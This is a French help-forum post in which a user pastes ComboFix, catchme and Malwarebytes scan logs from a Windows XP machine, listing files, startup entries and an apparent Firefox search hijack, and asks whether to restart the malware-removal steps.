R2 AntiVirSchedulerService;Avira AntiVir Planificateur;c:\program files\Avira\AntiVir Desktop\sched.exe [29/06/2009 22:13 108289]
S3 46028;46028;c:\windows\system32\46028.sys [28/06/2009 22:53 54624]
S3 fbxusb;Carte réseau virtuelle FreeBox USB;c:\windows\system32\drivers\fbxusb32.sys [20/10/2004 14:23 21344]

[HKEY_LOCAL_MACHINE\software\microsoft\active setup\installed components\>{60B49E34-C7CC-11D0-8953-00A0C90347FF}]
"c:\windows\system32\rundll32.exe" "c:\windows\system32\iedkcs32.dll",BrandIEActiveSetup SIGNUP
.
.
------- Examen supplémentaire -------
.
uStart Page = hxxp://google/
uInternet Settings,ProxyOverride = ;localhost;<local>
IE: E&xporter vers Microsoft Excel - c:\progra~1\MICROS~2\Office10\EXCEL.EXE/3000
IE: Pages liées
IE: Pages similaires
IE: Version de la page actuelle disponible dans le cache Google
TCP: {3404C9AD-EBFC-4296-9730-4861F1CE804D} = 217.27.32.5,213.228.0.168
DPF: DirectAnimation Java Classes - file://c:\windows\Java\classes\dajava.cab
DPF: Microsoft XML Parser for Java - file://c:\windows\Java\classes\xmldso.cab
FF - ProfilePath - c:\documents and settings\CLENET\Application Data\Mozilla\Firefox\Profiles\tp3dl9ou.default\
FF - prefs.js: browser.search.defaulturl - hxxp://www.google.com/search?lr=&ie=UTF-8&oe=UTF-8&q=
FF - prefs.js: browser.startup.homepage - hxxp://fr.start2.mozilla.com/firefox?client=firefox-a&rls=org.mozilla:fr:official
FF - prefs.js: keyword.URL - hxxp://search.live.com/results.aspx?mkt=fr-FR&FORM=MIMWA2&q=
FF - HiddenExtension: Java Console: No Registry Reference - c:\program files\Mozilla Firefox\extensions\{CAFEEFAC-0016-0000-0013-ABCDEFFEDCBA}(2)
FF - HiddenExtension: Java Console: No Registry Reference - c:\program files\Mozilla Firefox\extensions\{CAFEEFAC-0016-0000-0014-ABCDEFFEDCBA}

---- PARAMETRES FIREFOX ----
FF - user.js: yahoo.homepage.dontask - truec:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("pref.browser.homepage.disable_button.bookmark_page", false);
c:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("pref.browser.homepage.disable_button.current_page", false);
c:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("pref.browser.homepage.disable_button.restore_default", false);
c:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("browser.places.importBookmarksHTML", true);
c:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("browser.places.importDefaults", false);
c:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("browser.search.selectedEngine", "xeoo.com");
c:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("keyword.URL", "http://xeoo.com/?p=url&a=firefox&k=");
c:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("browser.startup.homepage", "http://www.xeoo.com/?p=h&a=firefox");
.

**************************************************************************

catchme 0.3.1398 W2K/XP/Vista - rootkit/stealth malware detector by Gmer, http://www.gmer.net
Rootkit scan 2009-07-03 19:05
Windows 5.1.2600 Service Pack 2 NTFS

Recherche de processus cachés ...

Recherche d'éléments en démarrage automatique cachés ...

Recherche de fichiers cachés ...

Scan terminé avec succès
Fichiers cachés: 0

**************************************************************************
.
--------------------- DLLs chargées dans les processus actifs ---------------------

- - - - - - - > 'explorer.exe'(1864)
c:\windows\system32\ntshrui.dll
c:\windows\system32\webcheck.dll
c:\windows\system32\stobject.dll
c:\windows\system32\WPDShServiceObj.dll
c:\windows\system32\PortableDeviceTypes.dll
c:\windows\system32\PortableDeviceApi.dll
c:\windows\system32\NETSHELL.dll
c:\windows\system32\credui.dll
.
Heure de fin: 2009-07-03 19:08
ComboFix-quarantined-files.txt 2009-07-03 17:07

Avant-CF: 3 575 635 968 octets libres
Après-CF: 3 555 401 728 octets libres

200 --- E O F --- 2008-11-07 02:03

ComboFix 09-07-02.02 - CLENET 03/07/2009 19:02.3 - NTFSx86
Microsoft Windows XP Professionnel 5.1.2600.2.1252.33.1036.18.703.325 [GMT 2:00]
Lancé depuis: c:\documents and settings\CLENET\Bureau\ccm.exe
AV: AntiVir Desktop *On-access scanning disabled* (Updated) {AD166499-45F9-482A-A743-FDD3350758C7}
.

((((((((((((((((((((((((((((( Fichiers créés du 2009-06-03 au 2009-07-03 ))))))))))))))))))))))))))))))))))))
.

2009-07-01 00:32 . 2009-07-01 00:32 -------- d-----r- c:\documents and settings\LocalService\Favoris
2009-06-30 20:40 . 2009-06-30 20:40 -------- d-sh--w- c:\documents and settings\CLENET\IECompatCache
2009-06-29 21:09 . 2009-06-29 21:09 -------- d-sh--w- c:\documents and settings\LocalService\IETldCache
2009-06-29 20:13 . 2009-03-30 08:32 96104 ----a-w- c:\windows\system32\drivers\avipbb.sys
2009-06-29 20:13 . 2009-02-13 10:28 22360 ----a-w- c:\windows\system32\drivers\avgntmgr.sys
2009-06-29 20:13 . 2009-02-13 10:17 45416 ----a-w- c:\windows\system32\drivers\avgntdd.sys
2009-06-29 20:13 . 2009-06-29 20:13 -------- d-----w- c:\program files\Avira
2009-06-29 20:13 . 2009-06-29 20:13 -------- d-----w- c:\documents and settings\All Users\Application Data\Avira
2009-06-29 13:42 . 2009-07-03 12:11 -------- d-----w- c:\program files\trend micro
2009-06-29 13:24 . 2008-06-01 13:43 70656 -c--a-w- c:\windows\system32\dllcache\sysinfo.exe.REN
2009-06-29 13:24 . 2008-06-01 13:42 15360 -c--a-w- c:\windows\system32\dllcache\register.exe.REN
2009-06-29 08:55 . 2009-07-03 11:23 -------- d-----w- c:\program files\Panda Security
2009-06-28 21:01 . 2007-01-18 12:00 3968 ----a-w- c:\windows\system32\drivers\AvgArCln.sys
2009-06-28 20:53 . 2009-06-28 20:53 54624 ----a-w- c:\windows\system32\46028.sys
2009-06-15 17:59 . 2009-06-15 17:59 -------- d-sh--w- c:\documents and settings\CLENET\PrivacIE
2009-06-15 06:47 . 2009-06-15 06:47 -------- d-sh--w- c:\documents and settings\CLENET\IETldCache
2009-06-15 06:42 . 2009-03-24 12:43 43008 ----a-w- c:\documents and settings\CLENET\Application Data\Mozilla\Firefox\Profiles\tp3dl9ou.default\extensions\{3112ca9c-de6d-4884-a869-9855de68056c}\components\metricsloader.dll
2009-06-15 06:42 . 2009-03-24 12:43 43008 ----a-w- c:\documents and settings\CLENET\Application Data\Mozilla\Firefox\Profiles\tp3dl9ou.default\extensions\{3112ca9c-de6d-4884-a869-9855de68056c}\components\googletoolbarloader.dll
2009-06-15 06:42 . 2009-03-24 12:43 235520 ----a-w- c:\documents and settings\CLENET\Application Data\Mozilla\Firefox\Profiles\tp3dl9ou.default\extensions\{3112ca9c-de6d-4884-a869-9855de68056c}\libraries\metrics-ff2.dll
2009-06-15 06:42 . 2009-03-24 12:43 338432 ----a-w- c:\documents and settings\CLENET\Application Data\Mozilla\Firefox\Profiles\tp3dl9ou.default\extensions\{3112ca9c-de6d-4884-a869-9855de68056c}\libraries\googletoolbar-ff2.dll
2009-06-15 06:42 . 2009-03-24 12:42 235008 ----a-w- c:\documents and settings\CLENET\Application Data\Mozilla\Firefox\Profiles\tp3dl9ou.default\extensions\{3112ca9c-de6d-4884-a869-9855de68056c}\libraries\metrics-ff3.dll
2009-06-15 06:42 . 2009-03-24 12:42 345088 ----a-w- c:\documents and settings\CLENET\Application Data\Mozilla\Firefox\Profiles\tp3dl9ou.default\extensions\{3112ca9c-de6d-4884-a869-9855de68056c}\libraries\googletoolbar-ff3.dll
2009-06-15 04:55 . 2009-06-15 04:55 47338 ----a-w- c:\documents and settings\CLENET\temps11.vbs
2009-06-15 03:05 . 2009-06-15 03:05 -------- d-----w- c:\windows\ie8updates
2009-06-15 02:57 . 2009-06-15 03:03 -------- dc-h--w- c:\windows\ie8
2009-06-15 02:57 . 2009-06-15 03:02 -------- d-----w- c:\windows\system32\fr-FR
2009-06-15 02:44 . 2009-04-30 21:16 12800 -c----w- c:\windows\system32\dllcache\xpshims.dll
2009-06-15 02:44 . 2009-04-30 21:16 246272 -c----w- c:\windows\system32\dllcache\ieproxy.dll
2009-06-15 02:44 . 2009-04-30 21:16 1985024 -c----w- c:\windows\system32\dllcache\iertutil.dll
2009-06-15 02:43 . 2009-04-30 21:16 11064832 -c----w- c:\windows\system32\dllcache\ieframe.dll
2009-06-15 02:31 . 2009-05-12 05:11 102912 -c----w- c:\windows\system32\dllcache\iecompat.dll
2009-06-15 02:08 . 2009-06-15 02:08 -------- d-----w- c:\documents and settings\All Users\Application Data\McAfee
2009-06-15 02:07 . 2009-06-15 02:07 152576 ----a-w- c:\documents and settings\CLENET\Application Data\Sun\Java\jre1.6.0_14\lzma.dll
2009-06-14 13:11 . 2009-06-14 13:11 -------- d-----w- c:\program files\MSN Messenger
2009-06-14 12:30 . 2001-11-13 15:46 69632 ----a-r- c:\windows\system32\LVUI2RC.dll
2009-06-14 12:30 . 2001-11-13 15:46 200704 ----a-r- c:\windows\system32\LVUI2.dll
2009-06-14 12:30 . 2001-11-13 15:43 57344 ----a-r- c:\windows\system32\LVComC.dll
2009-06-14 12:30 . 2001-11-13 15:45 172032 ----a-r- c:\windows\system32\lvcodec2.dll
2009-06-14 12:30 . 2001-11-13 15:45 53248 ----a-r- c:\windows\system32\LVFWWDMT.dll
2009-06-14 12:30 . 2001-11-13 15:43 98304 ----a-r- c:\windows\system32\LVComS.exe
2009-06-14 12:30 . 2001-11-13 15:41 38912 ----a-r- c:\windows\system32\drivers\lvcd.sys
2009-06-14 12:30 . 2001-11-13 15:39 412672 ----a-r- c:\windows\system32\drivers\lvcodek2.dll
2009-06-14 12:30 . 2001-11-13 15:40 59904 ----a-r- c:\windows\system32\drivers\lvcam2.dll
2009-06-12 15:11 . 2009-06-12 15:11 -------- d-----w- c:\windows\system32\wbem\Repository
2009-06-09 01:18 . 2009-06-09 01:18 -------- d-----w- c:\program files\Fichiers communs\Labtec
2009-06-09 01:17 . 2009-06-14 13:02 -------- d-----w- c:\program files\Fichiers communs\LogiShrd
2009-06-06 22:19 . 2005-08-25 20:10 9804 ----a-w- c:\windows\system\vdremote.dll
2009-06-06 22:19 . 2005-08-25 20:09 7244 ----a-w- c:\windows\system\vdsvrlnk.dll
2009-06-06 22:19 . 2005-12-09 13:00 -------- d-----w- c:\program files\VirtualDub
2009-06-06 22:17 . 2009-06-06 22:17 -------- d-----w- c:\program files\XviD

.
(((((((((((((((((((((((((((((((((( Compte-rendu de Find3M ))))))))))))))))))))))))))))))))))))))))))))))))
.
2009-07-03 16:53 . 2008-01-03 15:35 -------- d-----w- c:\documents and settings\CLENET\Application Data\FileZilla
2009-07-03 09:47 . 2008-05-20 08:40 -------- d-----w- c:\program files\Mozilla Thunderbird
2009-07-02 15:56 . 2009-02-09 12:51 1 ----a-w- c:\documents and settings\CLENET\Application Data\OpenOffice.org\3\user\uno_packages\cache\stamp.sys
2009-07-02 13:36 . 2008-02-13 14:20 -------- d-----w- c:\program files\Fichiers communs\Adobe
2009-06-30 12:34 . 2007-05-14 05:37 -------- d-----w- c:\program files\eMule
2009-06-30 11:18 . 2004-07-14 12:49 -------- d-----w- c:\documents and settings\CLENET\Application Data\dvdcss
2009-06-29 13:35 . 2001-08-28 12:00 73020 ----a-w- c:\windows\system32\perfc00C.dat
2009-06-29 13:35 . 2001-08-28 12:00 464474 ----a-w- c:\windows\system32\perfh00C.dat
2009-06-18 17:34 . 2009-02-16 09:13 -------- d-----w- c:\documents and settings\CLENET\Application Data\Spotify
2009-06-17 22:02 . 2008-06-01 12:45 -------- d-----w- c:\program files\Malwarebytes' Anti-Malware
2009-06-17 22:02 . 2008-10-07 11:16 3561743 ----a-w- c:\documents and settings\All Users\Application Data\Malwarebytes\Malwarebytes' Anti-Malware\mbam-setup.exe
2009-06-17 09:27 . 2008-10-07 11:16 38160 ----a-w- c:\windows\system32\drivers\mbamswissarmy.sys
2009-06-17 09:27 . 2008-06-01 12:45 19096 ----a-w- c:\windows\system32\drivers\mbam.sys
2009-06-15 02:35 . 2009-06-15 02:35 0 ----a-w- c:\documents and settings\CLENET\errorlog.tmp
2009-06-15 02:10 . 2009-05-31 01:13 410984 ----a-w- c:\windows\system32\deploytk.dll
2009-06-15 02:10 . 2008-06-01 21:52 -------- d-----w- c:\program files\Java
2009-06-10 15:23 . 2006-09-09 20:45 -------- d-----w- c:\documents and settings\All Users\Application Data\DVD Shrink
2009-06-09 01:38 . 2005-09-05 20:51 -------- d-----w- c:\program files\Fichiers communs\Real
2009-06-08 21:48 . 2007-07-18 17:27 -------- d-----w- c:\program files\Windows Live
2009-06-08 21:43 . 2007-07-18 17:27 -------- d-----w- c:\documents and settings\All Users\Application Data\WLInstaller
2009-06-08 21:15 . 2008-12-30 00:28 -------- d-----w- c:\program files\MSECACHE
2009-06-06 07:56 . 2007-03-19 17:48 -------- d-----w- c:\program files\lx_cats
2009-06-02 17:47 . 2009-05-08 11:07 -------- d-----w- c:\documents and settings\CLENET\Application Data\vlc
2009-06-02 17:46 . 2009-06-02 17:33 -------- d-----w- c:\documents and settings\CLENET\Application Data\DAEMON Tools Lite
2009-06-02 17:46 . 2008-06-04 00:31 -------- d-----w- c:\documents and settings\CLENET\Application Data\DAEMON Tools
2009-06-02 17:45 . 2009-06-02 17:45 -------- d-----w- c:\documents and settings\All Users\Application Data\DAEMON Tools Lite
2009-06-02 17:45 . 2009-06-02 17:45 -------- d-----w- c:\program files\DAEMON Tools Lite
2009-06-02 17:45 . 2009-06-02 17:45 -------- d-----w- c:\program files\DAEMON Tools Toolbar
2009-06-02 17:33 . 2008-06-04 00:31 721904 ----a-w- c:\windows\system32\drivers\sptd.sys
2009-05-28 17:38 . 2009-05-28 17:38 -------- d-----w- c:\program files\DVDFab HD Decrypter 4
2009-05-21 20:21 . 2004-08-07 11:49 -------- d-----w- c:\documents and settings\All Users\Application Data\Spybot - Search & Destroy
2009-05-20 18:55 . 2009-05-20 18:53 -------- d-----w- c:\program files\Spybot - Search & Destroy
2009-05-13 05:04 . 2004-08-03 22:54 915456 ----a-w- c:\windows\system32\wininet.dll
2006-11-30 15:22 . 2006-11-30 15:22 18447022 ----a-w- c:\program files\openofficeorg1.cab
2006-11-30 15:17 . 2006-11-30 15:17 217 ----a-w- c:\program files\setup.ini
2006-11-30 15:17 . 2006-11-30 15:17 5298688 ----a-w- c:\program files\openofficeorg21.msi
2002-03-11 09:06 . 2002-03-11 09:06 1822520 ----a-w- c:\program files\instmsiw.exe
2002-03-11 08:45 . 2002-03-11 08:45 1708856 ----a-w- c:\program files\instmsia.exe
2005-01-19 09:48 . 2005-01-19 09:48 56 -csha-r- c:\windows\system32\68C1294D9F.sys
2005-01-19 09:48 . 2005-01-19 09:48 1890 -csha-w- c:\windows\system32\KGyGaAvL.sys
.

((((((((((((((((((((((((((((((((( Points de chargement Reg ))))))))))))))))))))))))))))))))))))))))))))))))
.
.
*Note* les éléments vides & les éléments initiaux légitimes ne sont pas listés
REGEDIT4

[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"DWQueuedReporting"="c:\progra~1\FICHIE~1\MICROS~1\DW\dwtrig20.exe" [2005-04-25 36040]
"DAEMON Tools Lite"="c:\program files\DAEMON Tools Lite\daemon.exe" [2009-04-23 691656]
"ctfmon.exe"="c:\windows\system32\ctfmon.exe" [2004-08-03 15360]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"UserFaultCheck"="c:\windows\system32\dumprep 0 -u" [X]
"lxcrmon.exe"="c:\program files\Lexmark 2400 Series\lxcrmon.exe" [2006-03-06 286720]
"EzPrint"="c:\program files\Lexmark 2400 Series\ezprint.exe" [2006-02-07 98304]
"FaxCenterServer"="c:\program files\Lexmark Fax Solutions\fm3032.exe" [2006-02-02 290816]
"LXCRCATS"="c:\windows\System32\spool\DRIVERS\W32X86\3\LXCRtime.dll" [2006-02-24 65536]
"NeroFilterCheck"="c:\windows\system32\NeroCheck.exe" [2001-07-09 155648]
"NeroCheck"="c:\windows\System32\\NeroCheck.exe" [2001-07-09 155648]
"SunJavaUpdateSched"="c:\program files\Java\jre6\bin\jusched.exe" [2009-06-15 148888]
"avgnt"="c:\program files\Avira\AntiVir Desktop\avgnt.exe" [2009-03-02 209153]
"Adobe Reader Speed Launcher"="c:\program files\Adobe\Reader 9.0\Reader\Reader_sl.exe" [2009-02-27 35696]

c:\documents and settings\CLENET\Menu D‚marrer\Programmes\D‚marrage\
OpenOffice.org 3.0.lnk - c:\program files\OpenOffice.org 3\program\quickstart.exe [2008-12-15 384000]

[HKEY_LOCAL_MACHINE\software\microsoft\security center\Monitoring]
"DisableMonitoring"=dword:00000001

[HKLM\~\services\sharedaccess\parameters\firewallpolicy\standardprofile]
"EnableFirewall"= 0 (0x0)

[HKLM\~\services\sharedaccess\parameters\firewallpolicy\standardprofile\AuthorizedApplications\List]
"c:\\WINDOWS\\system32\\sessmgr.exe"=
"%windir%\\system32\\sessmgr.exe"=
"c:\\Program Files\\eMule\\emule.exe"=
"c:\\Program Files\\IncrediMail\\bin\\ImpCnt.exe"=
"c:\\Program Files\\Freeplayer\\vlc\\vlc.exe"=
"c:\\Program Files\\VideoLAN\\VLC\\vlc.exe"=
"c:\\Program Files\\Spotify\\spotify.exe"=
"c:\\Program Files\\Mozilla Firefox\\firefox.exe"=
"c:\\Program Files\\Mozilla Thunderbird\\thunderbird.exe"=
"c:\\WINDOWS\\system32\\dpvsetup.exe"=
"c:\\Program Files\\MSN Messenger\\msnmsgr.exe"=
"c:\\Program Files\\MSN Messenger\\livecall.exe"=

R2 AntiVirSchedulerService;Avira AntiVir Planificateur;c:\program files\Avira\AntiVir Desktop\sched.exe [29/06/2009 22:13 108289]
S3 46028;46028;c:\windows\system32\46028.sys [28/06/2009 22:53 54624]
S3 fbxusb;Carte réseau virtuelle FreeBox USB;c:\windows\system32\drivers\fbxusb32.sys [20/10/2004 14:23 21344]

[HKEY_LOCAL_MACHINE\software\microsoft\active setup\installed components\>{60B49E34-C7CC-11D0-8953-00A0C90347FF}]
"c:\windows\system32\rundll32.exe" "c:\windows\system32\iedkcs32.dll",BrandIEActiveSetup SIGNUP
.
.
------- Examen supplémentaire -------
.
uStart Page = hxxp://google/
uInternet Settings,ProxyOverride = ;localhost;<local>
IE: E&xporter vers Microsoft Excel - c:\progra~1\MICROS~2\Office10\EXCEL.EXE/3000
IE: Pages liées
IE: Pages similaires
IE: Version de la page actuelle disponible dans le cache Google
TCP: {3404C9AD-EBFC-4296-9730-4861F1CE804D} = 217.27.32.5,213.228.0.168
DPF: DirectAnimation Java Classes - file://c:\windows\Java\classes\dajava.cab
DPF: Microsoft XML Parser for Java - file://c:\windows\Java\classes\xmldso.cab
FF - ProfilePath - c:\documents and settings\CLENET\Application Data\Mozilla\Firefox\Profiles\tp3dl9ou.default\
FF - prefs.js: browser.search.defaulturl - hxxp://www.google.com/search?lr=&ie=UTF-8&oe=UTF-8&q=
FF - prefs.js: browser.startup.homepage - hxxp://fr.start2.mozilla.com/firefox?client=firefox-a&rls=org.mozilla:fr:official
FF - prefs.js: keyword.URL - hxxp://search.live.com/results.aspx?mkt=fr-FR&FORM=MIMWA2&q=
FF - HiddenExtension: Java Console: No Registry Reference - c:\program files\Mozilla Firefox\extensions\{CAFEEFAC-0016-0000-0013-ABCDEFFEDCBA}(2)
FF - HiddenExtension: Java Console: No Registry Reference - c:\program files\Mozilla Firefox\extensions\{CAFEEFAC-0016-0000-0014-ABCDEFFEDCBA}

---- PARAMETRES FIREFOX ----
FF - user.js: yahoo.homepage.dontask - truec:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("pref.browser.homepage.disable_button.bookmark_page", false);
c:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("pref.browser.homepage.disable_button.current_page", false);
c:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("pref.browser.homepage.disable_button.restore_default", false);
c:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("browser.places.importBookmarksHTML", true);
c:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("browser.places.importDefaults", false);
c:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("browser.search.selectedEngine", "xeoo.com");
c:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("keyword.URL", "http://xeoo.com/?p=url&a=firefox&k=");
c:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("browser.startup.homepage", "http://www.xeoo.com/?p=h&a=firefox");
.

**************************************************************************

catchme 0.3.1398 W2K/XP/Vista - rootkit/stealth malware detector by Gmer, http://www.gmer.net
Rootkit scan 2009-07-03 19:05
Windows 5.1.2600 Service Pack 2 NTFS

Recherche de processus cachés ...

Recherche d'éléments en démarrage automatique cachés ...

Recherche de fichiers cachés ...

Scan terminé avec succès
Fichiers cachés: 0

**************************************************************************
.
--------------------- DLLs chargées dans les processus actifs ---------------------

- - - - - - - > 'explorer.exe'(1864)
c:\windows\system32\ntshrui.dll
c:\windows\system32\webcheck.dll
c:\windows\system32\stobject.dll
c:\windows\system32\WPDShServiceObj.dll
c:\windows\system32\PortableDeviceTypes.dll
c:\windows\system32\PortableDeviceApi.dll
c:\windows\system32\NETSHELL.dll
c:\windows\system32\credui.dll
.
Heure de fin: 2009-07-03 19:08
ComboFix-quarantined-files.txt 2009-07-03 17:07

Avant-CF: 3 575 635 968 octets libres
Après-CF: 3 555 401 728 octets libres

200 --- E O F --- 2008-11-07 02:03
Malwarebytes' Anti-Malware 1.38
Version de la base de données: 2367
Windows 5.1.2600 Service Pack 2

03/07/2009 21:01:17
mbam-log-2009-07-03 (21-01-17).txt

Type de recherche: Examen complet (C:\|F:\|H:\|I:\|J:\|)
Eléments examinés: 157677
Temps écoulé: 35 minute(s), 13 second(s)

Processus mémoire infecté(s): 0
Module(s) mémoire infecté(s): 0
Clé(s) du Registre infectée(s): 0
Valeur(s) du Registre infectée(s): 0
Elément(s) de données du Registre infecté(s): 0
Dossier(s) infecté(s): 0
Fichier(s) infecté(s): 0

Processus mémoire infecté(s):
(Aucun élément nuisible détecté)

Module(s) mémoire infecté(s):
(Aucun élément nuisible détecté)

Clé(s) du Registre infectée(s):
(Aucun élément nuisible détecté)

Valeur(s) du Registre infectée(s):
(Aucun élément nuisible détecté)

Elément(s) de données du Registre infecté(s):
(Aucun élément nuisible détecté)

Dossier(s) infecté(s):
(Aucun élément nuisible détecté)

Fichier(s) infecté(s):
(Aucun élément nuisible détecté)

Bonsoir Moe,

Merci à toi aussi d'essayer de m'aider, j'étais au taf d'où le temps passé entre temps.
Voilà ce qui résulte de ce que m'as demandé Jlpjlp.
Dois je recommencer tout à zéro en coupant effectivement spybot et en zappant la connection comme tu le préconises?
Ou est ce bon?

J'ai toujours le rootkit + 1 hijack, alors que je ne fais pas de site louche, ni de téléchargement en dehors des logiciels que l'on me propose via CCM pour résoudre mon problème infectieux

ComboFix 09-07-02.02 - CLENET 03/07/2009 14:03.2 - NTFSx86
Microsoft Windows XP Professionnel 5.1.2600.2.1252.33.1036.18.703.430 [GMT 2:00]
Lancé depuis: c:\documents and settings\CLENET\Bureau\ComboFix.exe
AV: AntiVir Desktop *On-access scanning disabled* (Updated) {AD166499-45F9-482A-A743-FDD3350758C7}
.

(((((((((((((((((((((((((((((((((((( Autres suppressions ))))))))))))))))))))))))))))))))))))))))))))))))
.

c:\documents and settings\CLENET\Application Data\inst.exe
C:\InfoSat.txt
C:\Muestras
c:\windows\Installer\168152d.msi
c:\windows\Installer\5889d5.msi
c:\windows\Installer\d932a6.msp
c:\windows\patch.exe

.
((((((((((((((((((((((((((((( Fichiers créés du 2009-06-03 au 2009-07-03 ))))))))))))))))))))))))))))))))))))
.

2009-07-02 13:42 . 2009-07-03 11:23 -------- d-----w- c:\program files\Navilog1
2009-07-01 17:29 . 2009-07-01 17:29 -------- d-----w- C:\_OTM
2009-07-01 00:32 . 2009-07-01 00:32 -------- d-----r- c:\documents and settings\LocalService\Favoris
2009-06-30 20:40 . 2009-06-30 20:40 -------- d-sh--w- c:\documents and settings\CLENET\IECompatCache
2009-06-29 21:09 . 2009-06-29 21:09 -------- d-sh--w- c:\documents and settings\LocalService\IETldCache
2009-06-29 20:13 . 2009-03-30 08:32 96104 ----a-w- c:\windows\system32\drivers\avipbb.sys
2009-06-29 20:13 . 2009-02-13 10:28 22360 ----a-w- c:\windows\system32\drivers\avgntmgr.sys
2009-06-29 20:13 . 2009-02-13 10:17 45416 ----a-w- c:\windows\system32\drivers\avgntdd.sys
2009-06-29 20:13 . 2009-06-29 20:13 -------- d-----w- c:\program files\Avira
2009-06-29 20:13 . 2009-06-29 20:13 -------- d-----w- c:\documents and settings\All Users\Application Data\Avira
2009-06-29 13:42 . 2009-07-02 13:40 -------- d-----w- c:\program files\trend micro
2009-06-29 13:42 . 2009-06-29 13:43 -------- d-----w- C:\rsit
2009-06-29 13:24 . 2008-06-01 13:43 70656 -c--a-w- c:\windows\system32\dllcache\sysinfo.exe.REN
2009-06-29 13:24 . 2008-06-01 13:42 15360 -c--a-w- c:\windows\system32\dllcache\register.exe.REN
2009-06-29 12:53 . 2009-07-03 11:22 -------- d-----w- C:\UsbFix
2009-06-29 08:55 . 2009-07-03 11:23 -------- d-----w- c:\program files\Panda Security
2009-06-28 21:01 . 2007-01-18 12:00 3968 ----a-w- c:\windows\system32\drivers\AvgArCln.sys
2009-06-28 20:53 . 2009-06-28 20:53 54624 ----a-w- c:\windows\system32\46028.sys
2009-06-15 17:59 . 2009-06-15 17:59 -------- d-sh--w- c:\documents and settings\CLENET\PrivacIE
2009-06-15 06:47 . 2009-06-15 06:47 -------- d-sh--w- c:\documents and settings\CLENET\IETldCache
2009-06-15 06:42 . 2009-03-24 12:43 43008 ----a-w- c:\documents and settings\CLENET\Application Data\Mozilla\Firefox\Profiles\tp3dl9ou.default\extensions\{3112ca9c-de6d-4884-a869-9855de68056c}\components\metricsloader.dll
2009-06-15 06:42 . 2009-03-24 12:43 43008 ----a-w- c:\documents and settings\CLENET\Application Data\Mozilla\Firefox\Profiles\tp3dl9ou.default\extensions\{3112ca9c-de6d-4884-a869-9855de68056c}\components\googletoolbarloader.dll
2009-06-15 06:42 . 2009-03-24 12:43 235520 ----a-w- c:\documents and settings\CLENET\Application Data\Mozilla\Firefox\Profiles\tp3dl9ou.default\extensions\{3112ca9c-de6d-4884-a869-9855de68056c}\libraries\metrics-ff2.dll
2009-06-15 06:42 . 2009-03-24 12:43 338432 ----a-w- c:\documents and settings\CLENET\Application Data\Mozilla\Firefox\Profiles\tp3dl9ou.default\extensions\{3112ca9c-de6d-4884-a869-9855de68056c}\libraries\googletoolbar-ff2.dll
2009-06-15 06:42 . 2009-03-24 12:42 235008 ----a-w- c:\documents and settings\CLENET\Application Data\Mozilla\Firefox\Profiles\tp3dl9ou.default\extensions\{3112ca9c-de6d-4884-a869-9855de68056c}\libraries\metrics-ff3.dll
2009-06-15 06:42 . 2009-03-24 12:42 345088 ----a-w- c:\documents and settings\CLENET\Application Data\Mozilla\Firefox\Profiles\tp3dl9ou.default\extensions\{3112ca9c-de6d-4884-a869-9855de68056c}\libraries\googletoolbar-ff3.dll
2009-06-15 04:55 . 2009-06-15 04:55 47338 ----a-w- c:\documents and settings\CLENET\temps11.vbs
2009-06-15 03:05 . 2009-06-15 03:05 -------- d-----w- c:\windows\ie8updates
2009-06-15 02:57 . 2009-06-15 03:03 -------- dc-h--w- c:\windows\ie8
2009-06-15 02:57 . 2009-06-15 03:02 -------- d-----w- c:\windows\system32\fr-FR
2009-06-15 02:44 . 2009-04-30 21:16 12800 -c----w- c:\windows\system32\dllcache\xpshims.dll
2009-06-15 02:44 . 2009-04-30 21:16 246272 -c----w- c:\windows\system32\dllcache\ieproxy.dll
2009-06-15 02:44 . 2009-04-30 21:16 1985024 -c----w- c:\windows\system32\dllcache\iertutil.dll
2009-06-15 02:43 . 2009-04-30 21:16 11064832 -c----w- c:\windows\system32\dllcache\ieframe.dll
2009-06-15 02:31 . 2009-05-12 05:11 102912 -c----w- c:\windows\system32\dllcache\iecompat.dll
2009-06-15 02:08 . 2009-06-15 02:08 -------- d-----w- c:\documents and settings\All Users\Application Data\McAfee
2009-06-15 02:07 . 2009-06-15 02:07 152576 ----a-w- c:\documents and settings\CLENET\Application Data\Sun\Java\jre1.6.0_14\lzma.dll
2009-06-14 13:11 . 2009-06-14 13:11 -------- d-----w- c:\program files\MSN Messenger
2009-06-14 12:30 . 2001-11-13 15:46 69632 ----a-r- c:\windows\system32\LVUI2RC.dll
2009-06-14 12:30 . 2001-11-13 15:46 200704 ----a-r- c:\windows\system32\LVUI2.dll
2009-06-14 12:30 . 2001-11-13 15:43 57344 ----a-r- c:\windows\system32\LVComC.dll
2009-06-14 12:30 . 2001-11-13 15:45 172032 ----a-r- c:\windows\system32\lvcodec2.dll
2009-06-14 12:30 . 2001-11-13 15:45 53248 ----a-r- c:\windows\system32\LVFWWDMT.dll
2009-06-14 12:30 . 2001-11-13 15:43 98304 ----a-r- c:\windows\system32\LVComS.exe
2009-06-14 12:30 . 2001-11-13 15:41 38912 ----a-r- c:\windows\system32\drivers\lvcd.sys
2009-06-14 12:30 . 2001-11-13 15:39 412672 ----a-r- c:\windows\system32\drivers\lvcodek2.dll
2009-06-14 12:30 . 2001-11-13 15:40 59904 ----a-r- c:\windows\system32\drivers\lvcam2.dll
2009-06-12 15:11 . 2009-06-12 15:11 -------- d-----w- c:\windows\system32\wbem\Repository
2009-06-09 01:18 . 2009-06-09 01:18 -------- d-----w- c:\program files\Fichiers communs\Labtec
2009-06-09 01:17 . 2009-06-14 13:02 -------- d-----w- c:\program files\Fichiers communs\LogiShrd
